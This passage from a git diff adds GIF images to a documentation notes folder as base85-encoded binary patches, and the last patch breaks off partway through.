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
D(|C#&

literal 0
HcmV?d00001

diff --git a/docs/notes/pics/11548742010310.gif b/docs/notes/pics/11548742010310.gif
new file mode 100644
index 0000000000000000000000000000000000000000..7bc747345d61d7de479ffc72c4c1fef5fc240ca9
GIT binary patch
literal 8192
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
Xp1*6u1HK1c!b8Ej|Ih#bqx}CLWWkf;

literal 0
HcmV?d00001

diff --git a/docs/notes/pics/11548742157520.gif b/docs/notes/pics/11548742157520.gif
new file mode 100644
index 0000000000000000000000000000000000000000..6fbe4bf26bdc7e84619f64cd090adfca2ff4e15e
GIT binary patch
literal 49152
zcmcG#do)z>`}e)~o})1s=W$5mn6q&RiJEcFsY!|o4IzZ4NJ83kz!0J&6&fWW)ksB!
zh9n`TNRl*iNJWj3RGRL7-?e_f`+nBFo<E*Hp4Wb_wLfd`wf5d??Q4J5^?6_W^4R2V
zzb-5mT7~!l0N{UsAP9j#pin3@8jZnVu>V2oKj3gUX=!Qve~^`xRa8_Y5>+)dHFR{e
z4Gi>6OpGlpEv&6A*V?YNwRf;x=V<5Pw9diNe*MOEjuZzc%6ccthK&@8v#X1%o12H{
zzs=jr)7RIVM)TXc)juF0VEgv%fq{WLb_DI(wTn*Q9kC}odT&&0Y)pLoz5@psiHQdj
z4<#NtbSU|7O3IOxw6xUp^z@@gj~+Xg0mH|bOqj)DayabF%*^bp%p7iJZVvbO@!Y(;
zyrRN_Q>O}xPoFF)IaOL(eC}My`SWMapFdYtex7%s>~a;aw&v2c`q~>et~E9`+`fJ5
z&g~n`O*ih|ZMfTftEs8!?%lih@8550z4zcjn?TU=xU0Rdw`*XackubZ@QZ<wm;J9s
zp1*oEGCDds_8-Q_--zD6dMA1{_3rh|)Y$ao_~hifsi~>y>FJr7|I+*SlOJc_e)=H#
z^l@r#?$iAI-2D9fmoHz$V)57i=G%W*{BOShzwqDZ|3B@&Eq?pDApRi!JT3k_^=1B_
zCjaT*c;U<Rf_Ubuc;?%}`+r*eI{P1e`2OvG^l@qNf9uEhPyY`s&HeaqEicXekAD7`
z|KD0(___T3=g;L||Ka!l!OH)|pZ^QV|DS08mG*NB*y=*1xmlT$5g-5n+CPy<44?{_
z{u=}T^_c)z3Gi1+)059@XJZwOgS+{a53>onUS*yQ7atubTE~ucH(Yvrg5;8`x#?!r
zlT(IU>w=%$yxe<+yr-vZQ)Bhh^Y)1!$DTA^8Mr`U<5qdys(E(F^OSK&&#l_QE3`{q
z<zBbzUR(`ojD6E{`|8UZ^oO~tyzkV%YK$JN3+cUc?R67lvZvg;>H3@dDc?T6>2134
z_5qBL*79lQPdwx*nuPW>H%vY*)b+0LxqEZEx72#yc;C;9r3UsT%j;(ApWxLzXYA*k
